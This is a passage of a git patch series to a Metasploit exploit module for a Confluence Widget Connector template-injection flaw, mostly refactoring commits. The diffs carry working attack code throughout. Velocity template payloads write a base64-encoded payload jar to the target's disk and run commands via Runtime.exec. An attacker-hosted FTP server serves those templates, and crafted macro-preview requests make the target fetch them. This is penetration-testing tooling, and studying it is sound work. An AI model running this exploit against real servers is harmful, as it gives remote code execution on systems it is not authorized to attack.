on_client_command_retr(c,arg) when /javaprop\.vm$/ conn.put(wrap(get_javaprop_vm())) when /upload\.vm$/ - conn.put(wrap(get_upload_vm())) + conn.put(wrap(get_upload_vm())) when /exec\.vm$/ - conn.put(wrap(get_exec_vm())) + conn.put(wrap(get_exec_vm())) else conn.put(wrap(get_dummy_vm())) end @@ -123,7 +123,7 @@ def get_upload_vm() $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}')) EOF ) - end + end # Returns a command execution template. # @@ -134,7 +134,7 @@ def get_exec_vm() $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor() EOF ) - end + end # Returns checking template. # @@ -166,9 +166,9 @@ def get_dummy_vm() <<~EOF EOF ) - end + end - # Checks the vulnerability. + # Checks the vulnerability. # # @return [Array] Check code def check @@ -203,10 +203,10 @@ def inject_template(service_url) 'uri' => uri, 'headers' => { 'Accept' => '*/*', - 'Origin' => full_uri(vhost_uri: true) + 'Origin' => full_uri(vhost_uri: true) }, 'ctype' => 'application/json; charset=UTF-8', - 'data' => { + 'data' => { 'contentId' => '1', 'macro' => { 'name' => 'widget', @@ -332,7 +332,7 @@ def exploit_as_java() fail_with(Failure::Unknown, 'Unable to get the temp path.') end - @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") + @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") @b64 = Rex::Text.encode_base64(payload.encoded_jar) @command = '' From 91eb29b1fe65e2ec5f7ae821146284aead12a6e3 Mon Sep 17 00:00:00 2001 From: rrockru Date: Fri, 12 Apr 2019 00:02:18 +0300 Subject: [PATCH 06/14] Refactoring. --- .../exploits/multi/http/confluence_widget_connector.rb | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index 75e17cdcb588..887f98fddfdb 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -281,16 +281,6 @@ def get_java_home_path() return get_java_property('java.home') end - # Returns Java code that can be used to inject to the template in order to chmod a file. - # - # @param fname [String] File to chmod - # @return [void] - def get_chmod_code(fname) - @command = "chmod 700 #{fname}" - inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") - end - - # Returns Java code that can be used to inject to the template in order to copy a file. # # @note The purpose of this method is to have a file that is not busy, so we can execute it. From 82def16953ddc5402e7acf3b24037a212530d3fd Mon Sep 17 00:00:00 2001 From: rrockru Date: Fri, 12 Apr 2019 00:12:27 +0300 Subject: [PATCH 07/14] Added TRIGGER_URL option --- modules/exploits/multi/http/confluence_widget_connector.md | 1 + modules/exploits/multi/http/confluence_widget_connector.rb | 6 ++++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.md b/modules/exploits/multi/http/confluence_widget_connector.md index a33d4767cff9..7ae598bc62a8 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.md +++ b/modules/exploits/multi/http/confluence_widget_connector.md @@ -30,6 +30,7 @@ List the steps needed to make sure this thing works # Options - **TARGETURI**: Path to Atlassian Confluence installation ("/" is the default) +- **TRIGGER_URL**: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=dQw4w9WgXcQ" is the default) # Scenario ## Tested on Confluence 6.8.2 with Windows target diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index 887f98fddfdb..5a27770da4e5 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -59,7 +59,9 @@ def initialize(info={}) register_options( [ - OptString.new('TARGETURI', [true, 'The base to Confluence', '/']) + OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), + OptString.new('TRIGGER_URL', [true, 'Url to external video service to trigger vulnerability', + 'https://www.youtube.com/watch?v=dQw4w9WgXcQ']) ]) end @@ -212,7 +214,7 @@ def inject_template(service_url) 'name' => 'widget', 'body' => '', 'params' => { - 'url' => 'https://www.youtube.com/watch?v=dQw4w9WgXcQ', + 'url' => datastore['TRIGGER_URL'], '_template' => service_url } From 84a4e6f4a678cd1e948af3a1c6e4284a206a7b01 Mon Sep 17 00:00:00 2001 From: rrockru Date: Fri, 12 Apr 2019 00:16:45 +0300 Subject: [PATCH 08/14] Refactoring --- modules/exploits/multi/http/confluence_widget_connector.md | 2 +- modules/exploits/multi/http/confluence_widget_connector.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.md b/modules/exploits/multi/http/confluence_widget_connector.md index 7ae598bc62a8..7949f7d93c9e 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.md +++ b/modules/exploits/multi/http/confluence_widget_connector.md @@ -30,7 +30,7 @@ List the steps needed to make sure this thing works # Options - **TARGETURI**: Path to Atlassian Confluence installation ("/" is the default) -- **TRIGGER_URL**: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=dQw4w9WgXcQ" is the default) +- **TRIGGERURL**: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=dQw4w9WgXcQ" is the default) # Scenario ## Tested on Confluence 6.8.2 with Windows target diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index 5a27770da4e5..dac0188e8833 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -60,7 +60,7 @@ def initialize(info={}) register_options( [ OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), - OptString.new('TRIGGER_URL', [true, 'Url to external video service to trigger vulnerability', + OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability', 'https://www.youtube.com/watch?v=dQw4w9WgXcQ']) ]) end @@ -214,7 +214,7 @@ def inject_template(service_url) 'name' => 'widget', 'body' => '', 'params' => { - 'url' => datastore['TRIGGER_URL'], + 'url' => datastore['TRIGGERURL'], '_template' => service_url } From 5df6560b0b605a1a333c8972be22f6225ec2b036 Mon Sep 17 00:00:00 2001 From: rrockru Date: Fri, 12 Apr 2019 01:02:16 +0300 Subject: [PATCH 09/14] Refactoring --- modules/exploits/multi/http/confluence_widget_connector.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index dac0188e8833..5bd86814f1ff 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -60,7 +60,7 @@ def initialize(info={}) register_options( [ OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), - OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability', + OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability', 'https://www.youtube.com/watch?v=dQw4w9WgXcQ']) ]) end From 8f3bb045b954c614d7191cdc66b1bcf4b6f445b8 Mon Sep 17 00:00:00 2001 From: rrockru Date: Fri, 12 Apr 2019 22:00:23 +0300 Subject: [PATCH 10/14] Refactoring --- .../multi/http/confluence_widget_connector.rb | 56 ++++++++++--------- 1 file changed, 29 insertions(+), 27 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index 5bd86814f1ff..a2970a0e60fa 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -70,7 +70,7 @@ def initialize(info={}) # @param c [Socket] Control connection socket. # @param arg [String] RETR argument. # @return [void] - def on_client_command_retr(c,arg) + def on_client_command_retr(c, arg) vprint_status("FTP download request for #{arg}") conn = establish_data_connection(c) if(not conn) @@ -100,7 +100,7 @@ def on_client_command_retr(c,arg) # @param c [Socket] Control connection socket. # @param arg [String] PASS argument. # @return [void] - def on_client_command_pass(c,arg) + def on_client_command_pass(c, arg) @state[c][:pass] = arg vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}") c.put "230 Login OK\r\n" @@ -111,7 +111,7 @@ def on_client_command_pass(c,arg) # @param c [Socket] Control connection socket. # @param arg [String] EPSV argument. # @return [void] - def on_client_command_epsv(c,arg) + def on_client_command_epsv(c, arg) vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'") c.put("500 'EPSV #{arg}': command not understood.\r\n") end @@ -119,7 +119,7 @@ def on_client_command_epsv(c,arg) # Returns a upload template. # # @return [String] - def get_upload_vm() + def get_upload_vm ( <<~EOF $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}')) @@ -130,7 +130,7 @@ def get_upload_vm() # Returns a command execution template. # # @return [String] - def get_exec_vm() + def get_exec_vm ( <<~EOF $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor() @@ -141,7 +141,7 @@ def get_exec_vm() # Returns checking template. # # @return [String] - def get_check_vm() + def get_check_vm ( <<~EOF #{@check_text} @@ -152,7 +152,7 @@ def get_check_vm() # Returns Java's getting property template. # # @return [String] - def get_javaprop_vm() + def get_javaprop_vm ( <<~EOF $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString() @@ -163,7 +163,7 @@ def get_javaprop_vm() # Returns dummy template. # # @return [String] - def get_dummy_vm() + def get_dummy_vm ( <<~EOF EOF @@ -180,7 +180,7 @@ def check print_status("Starting the FTP server.") start_service - @check_text = Rex::Text.rand_text_alpha(5) + @check_text = Rex::Text.rand_text_alpha(5..10) res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}check.vm") if res && res.body && res.body.include?(@check_text) checkcode = Exploit::CheckCode::Vulnerable @@ -222,16 +222,18 @@ def inject_template(service_url) }.to_json }) - if !res - elog('Connection timed out in #inject_template') - elsif res && /widget-error/ === res.body + unless res + fail_with Failure::Unreachable, 'Connection timed out in #inject_template' + end + + if res.body.include? 'widget-error' print_error('Failed to inject and execute code:') - vprint_line(res.body) - elsif res + else vprint_status("Server response:") - vprint_line res.body end + vprint_line(res.body) + res end @@ -251,7 +253,7 @@ def get_java_property(prop) # Returns the target platform. # # @return [String] - def get_target_platform() + def get_target_platform return get_java_property('os.name') end @@ -261,7 +263,7 @@ def get_target_platform() # @return [FalseClass] Not compatible def target_platform_compat?(target_platform) target.platform.names.each do |n| - if /^java$/i === n || /#{n}/i === target_platform + if n.downcase == 'java' || n.downcase == target_platform.downcase return true end end @@ -272,14 +274,14 @@ def target_platform_compat?(target_platform) # Returns a temp path from the remote target. # # @return [String] - def get_tmp_path() + def get_tmp_path return get_java_property('java.io.tmpdir') end # Returns the Java home path used by Confluence. # # @return [String] - def get_java_home_path() + def get_java_home_path return get_java_property('java.home') end @@ -316,7 +318,7 @@ def normalize_payload_fname(tmp_path, fname) # Exploits the target in Java platform. # # @return [void] - def exploit_as_java() + def exploit_as_java tmp_path = get_tmp_path @@ -358,7 +360,7 @@ def exploit_as_java() # Exploits the target in Windows platform. # # @return [void] - def exploit_as_windows() + def exploit_as_windows tmp_path = get_tmp_path if tmp_path.blank? @@ -387,7 +389,7 @@ def exploit_as_windows() # Exploits the target in Linux platform. # # @return [void] - def exploit_as_linux() + def exploit_as_linux tmp_path = get_tmp_path if tmp_path.blank? @@ -414,7 +416,7 @@ def exploit_as_linux() end def exploit - @wrap_marker = Rex::Text.rand_text_alpha(5) + @wrap_marker = Rex::Text.rand_text_alpha(5..10) # Start the FTP service print_status("Starting the FTP server.") @@ -427,12 +429,12 @@ def exploit fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.') end - case target.name - when /java$/i + case target.name.downcase + when /java$/ exploit_as_java() - when /windows$/i + when /windows$/ exploit_as_windows() - when /linux$/i + when /linux$/ exploit_as_linux() end end From 2c3aec897f0b56b867c40158493c7120b710e222 Mon Sep 17 00:00:00 2001 From: rrockru Date: Fri, 12 Apr 2019 22:06:56 +0300 Subject: [PATCH 11/14] Refactoring --- .../multi/http/confluence_widget_connector.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index a2970a0e60fa..11fd095a6f54 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -81,15 +81,15 @@ def on_client_command_retr(c, arg) c.put("150 Opening BINARY mode data connection for #{arg}\r\n") case arg when /check\.vm$/ - conn.put(wrap(get_check_vm())) + conn.put(wrap(get_check_vm)) when /javaprop\.vm$/ - conn.put(wrap(get_javaprop_vm())) + conn.put(wrap(get_javaprop_vm)) when /upload\.vm$/ - conn.put(wrap(get_upload_vm())) + conn.put(wrap(get_upload_vm)) when /exec\.vm$/ - conn.put(wrap(get_exec_vm())) + conn.put(wrap(get_exec_vm)) else - conn.put(wrap(get_dummy_vm())) + conn.put(wrap(get_dummy_vm)) end c.put("226 Transfer complete.\r\n") conn.close @@ -431,11 +431,11 @@ def exploit case target.name.downcase when /java$/ - exploit_as_java() + exploit_as_java when /windows$/ - exploit_as_windows() + exploit_as_windows when /linux$/ - exploit_as_linux() + exploit_as_linux end end From 8b61c5edf5f28d21f7a909c7d30b02bda9a433c7 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Tue, 16 Apr 2019 13:18:00 -0500 Subject: [PATCH 12/14] Fixed target_platform_compat to support 'Windows 10', made debugging easier --- .../exploits/multi/http/confluence_widget_connector.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index 11fd095a6f54..8546ffcc7e9d 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -54,7 +54,8 @@ def initialize(info={}) }, 'Privileged' => false, 'DisclosureDate' => 'Mar 25 2019', - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + 'Stance' => Msf::Exploit::Stance::Aggressive )) register_options( @@ -223,7 +224,9 @@ def inject_template(service_url) }) unless res - fail_with Failure::Unreachable, 'Connection timed out in #inject_template' + unless service_url.include?("exec.vm") + print_warning('Connection timed out in #inject_template') + end end if res.body.include? 'widget-error' @@ -263,7 +266,7 @@ def get_target_platform # @return [FalseClass] Not compatible def target_platform_compat?(target_platform) target.platform.names.each do |n| - if n.downcase == 'java' || n.downcase == target_platform.downcase + if n.downcase == 'java' || target_platform.downcase.include?(n.downcase) return true end end @@ -453,6 +456,5 @@ def clear_response(string) if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m) return match.captures[0] end - '' end end From 0aaae062a409decdba0271cf3f450d15ef9508f4 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Tue, 16 Apr 2019 14:13:35 -0500 Subject: [PATCH 13/14] Updated RPORT to 8090, reduced timeout of final exec.vm request to 5 sec --- .../multi/http/confluence_widget_connector.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index 8546ffcc7e9d..1d446e880cf9 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -49,7 +49,7 @@ def initialize(info={}) ], 'DefaultOptions' => { - 'RPORT' => 80, + 'RPORT' => 8090, 'SRVPORT' => 8021, }, 'Privileged' => false, @@ -197,10 +197,14 @@ def check # # @param service_url [String] Address of template to injection. # @return [void] - def inject_template(service_url) + def inject_template(service_url, timeout=20) uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview') + if service_url.include?("exec.vm") + timeout=5 + end + res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, @@ -221,11 +225,12 @@ def inject_template(service_url) } }.to_json - }) + }, timeout=timeout) unless res unless service_url.include?("exec.vm") print_warning('Connection timed out in #inject_template') + return end end From 06792f7cd44bf86d057e8e8995da767e92e2e8e3 Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Tue, 16 Apr 2019 14:16:52 -0500 Subject: [PATCH 14/14] Moved documentation to 'documentation' folder --- .../modules/exploit}/multi/http/confluence_widget_connector.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {modules/exploits => documentation/modules/exploit}/multi/http/confluence_widget_connector.md (100%) diff --git a/modules/exploits/multi/http/confluence_widget_connector.md b/documentation/modules/exploit/multi/http/confluence_widget_connector.md similarity index 100% rename from modules/exploits/multi/http/confluence_widget_connector.md rename to documentation/modules/exploit/multi/http/confluence_widget_connector.md